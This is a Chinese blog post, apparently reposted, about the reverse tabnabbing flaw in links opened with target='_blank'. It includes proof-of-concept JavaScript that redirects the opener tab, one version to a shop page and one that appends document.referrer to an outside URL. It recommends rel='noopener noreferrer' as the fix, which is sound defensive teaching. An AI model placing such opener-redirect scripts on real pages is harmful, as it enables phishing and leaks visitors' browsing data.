target='_blank' 安全漏洞

有关 target="_blank" 的安全缺陷

可能大家在写网页的时候经常给超链接加个属性 target="_blank",意思就是在浏览器新的窗口打开此超链接,但是大多数人应该都注意不到这个属性是有安全缺陷的。

具体说明下:比如说,当前网页中有个a标签的是

<a href="http://www.cnblogs.com/zqifa/" target="_blank"></a>

点击后跳转到的新的窗口的网页拥有了浏览器window.opener对象赋予的对原网页(在这里是你现在所处的页面)的部分权限。

对于这种正常的情况就不做demo演示了,此处不做特殊处理的话就是点击超链接打开了2个普通的页面罢了。

但是如果我在新打开的页面上加上一句JavaScript就不一样了, 上代码

<script type="text/javascript">

if(window.opener){
opener.location="http://www.cnblogs.com/zqifa/";
alert("刚才的超链接是有安全隐患的!看一下前一个窗口的页面是否发生了改变");
}else{
alert("刚才的超链接是安全的!前一个窗口的页面没有任何变化!");
}

</script>

或者

<script type="text/javascript">

setTimeout(function(){ if (window.opener) { window.opener.location = "https://shop162567423.taobao.com";} }, 3000);

</script>

请点击此超链接测试有安全缺陷的情况:这是测试有安全隐患的超链接

这个安全隐患就可能被别有用心的人所利用,用户可能很少注意地址栏的变化,这样的话如果做个和正规网站一样的界面可能就很容易以假换真,后果还是比较严重的。

那么该如何解决呢?

在target="_blank"后面再添加一个属性 rel="noopener noreferrer"就行了,不用多说,相信明眼人一看就知道这个属性的意图了。

再次测试一下没有该安全缺陷的情况:这是测试没有该安全隐患的超链接

我相信绝大多数站点都没有恰当地处理这个问题。如果你在我们的资料页点击 dev.to 链接,然后回到原来的页面,你就会明白我的意思。Twitter也没有在Safari上防备这个安全漏洞,Chrome和Firefox也是。他们没有用 rel="noopener",因此看起来他们用的安全脚本在Safari上并不起作用。

如果你在链接上使用 target="_blank"属性,并且不加上rel="noopener"属性,那么你就让用户暴露在一个非常简单的钓鱼攻击之下。为了告知来自于不受保护的站点的用户,我们运行一个利用了这个缺陷的脚本。

if (window.opener) {
window.opener.location = "http://www.cnblogs.com/zqifa/?referrer="+document.referrer;
}

当站点在链接中使用target="_blank"来打开新页卡或窗口时,该站点就通过window.opener API给了新页面对原有窗口的访问入口,并授予了一些权限。这其中的一些权限被跨域限制拦截了,但是window.location是漏网之鱼。

别急,还有更多
这不仅存在钓鱼攻击的问题,还涉及到隐私问题,因为新打开的站点对原有页卡的浏览地址有着持续的访问权。它可以轮询这个信息,并得到结果。幸亏这个行为看起来被跨域限制阻止了,因此即便我或许可以持续访问你不想让我知道的信息,完整的规范里应该包含健全的限制规则。

更新: 在我最开始写这个的时候,我提出了一种浏览器间谍场景,该场景中不良分子可以更彻底地侦测用户浏览历史。现在我觉得那并不准确,因此我修改了表述。

为了限制 window.opener的访问行为,原始页面需要在每个使用了target="_blank"的链接中加上一个rel="noopener"属性。然而,火狐不支持这个属性值,所以实际上你要用 rel="noopener noreferrer"来完整覆盖。尽管某些预防措施可以通过脚本实现,正如在Twitter上看到的,但这在Safari上并不起作用。

var otherWindow = window.open();
otherWindow.opener = null;
otherWindow.location = url;
这段建议脚本来自于关于该主题的一篇好文章.

这个问题并不知名,而且完全被低估了。它在Web Hypertext Application Technology Working Group邮件列表中被提出 在我看来,这个浏览器行为的风险远大于潜在的好处。

总结一下:下次再做开发的时候别怕麻烦最好在target="_blank"后面添加一句 rel="noopener noreferrer"

引用原文链接https://www.cnblogs.com/zqifa/p/html-target-1.html

写博客是为了记住自己容易忘记的东西,另外也是对自己工作的总结,文章可以转载,无需版权。希望尽自己的努力,做到更好,大家一起努力进步!


如果有什么问题,欢迎大家一起探讨,代码如有问题,欢迎各位大神指正!

target='_blank' 安全漏洞

原文地址:https://www.cnblogs.com/summary-2017/p/10056107.html

时间: 2024-10-08 05:04:42

target='_blank' 安全漏洞的相关文章

markdown的超链接加上target=&#39;_blank&#39;

Markdown支持两种形式的链接语法:行内式和参考式两种形式. 不管是哪一种,链接文字都是用 [方括号] 来标记. 要建立一个行内式的链接,只要在方块括号后面紧接着圆括号并插入网址链接即可, 如果你还想要加上链接的title文字,只要在网址后面,用双引号把title文字包起来即可,例如: This is [an example](http://example.com/ "Title") inline link. 会产生 <p>This is <a href=&quo

[Debug]IOS微信浏览器不支持form表单的target=_blank

测试代码如下 1 <?php 2 echo '<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">'; 3 if(!empty($_POST)){ 4 echo "<pre>"; 5 print_r($_POST); 6 exit; 7 } 8 if(!empty

selenium IDE 回放时出现的问题: Link has target &#39;_blank&#39;, which is not supported in Selenium!

问题描述:如果点击的链接代码是: 由于target="_blank",点击这个链接,会打开一个新的窗体.在新窗体中打开对应的href.但是由于slenium不能保证正确找到新打开的窗体,会报这个错. [warn] Link has target '_blank', which is not supported in Selenium! Randomizing target to be: selenium_blank28994 因此需要设置一下火狐浏览器,就可以弹出新的窗口了,如下: s

wkwebview a target=&quot;_blank&quot; 打不开链接的解决方案

- (void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void (^)(WKNavigationActionPolicy))decisionHandler { //this is a 'new window action' (aka target="_blank") > open thi

wx.html2.WebView在 target=&quot;_blank&quot; or rel=&quot;external&quot; 没有反映的解决方法

在wx.html2.EVT_WEBVIEW_LOADED中,用WebView.RunScript运行删除链接目标的脚本 javaScriptStr = '''function deleteBlank() { var links = document.links, i, length; for (i = 0, length = links.length; i 学习过很多种语言, python 太简单啦! wx.html2.WebView在 target="_blank" or rel=&

target=_blank攻击

[target=_blank攻击] 在<a>标签中加入 rel="noopener noreferrer" 来避免. 参考:https://mathiasbynens.github.io/rel-noopener/

HTML &lt;base&gt; 标签的 target 属性 —— &lt;base target=&quot;_blank&quot; /&gt;

为页面上所有链接规定默认目标: <head> <base target="_blank" /> </head> <body> <a href="http://www.w3school.com.cn">W3School</a> </body> 定义和用法 target 属性规定在何处打开页面上的所有链接. 语法 <base target="value">

jsp中target=&quot;_blank&quot;的用法

对于点击查询按钮或a标签等,打开一个新页面并显示结果的做法如下: 1.form表单: 在form标签上加target="_blank"后,点击搜索按钮,显示查询结果时会打开一个新页面 2.在a标签上加也是一样的:

CefSharp禁止弹出新窗体,在同一窗口打开链接,或者在新Tab页打开链接,并且支持带type=&quot;POST&quot; target=&quot;_blank&quot;的链接

说明:在同一窗口打开链接,只要稍加改造就可以实现,这里实现的是在新Tab页打开链接,并且支持带type="POST" target="_blank"的链接 github和bitbucket上相关问题: 1.WPF empty POST data when using custom popup    https://github.com/cefsharp/CefSharp/issues/1267 2.CefLifeSpanHandler, customized OnB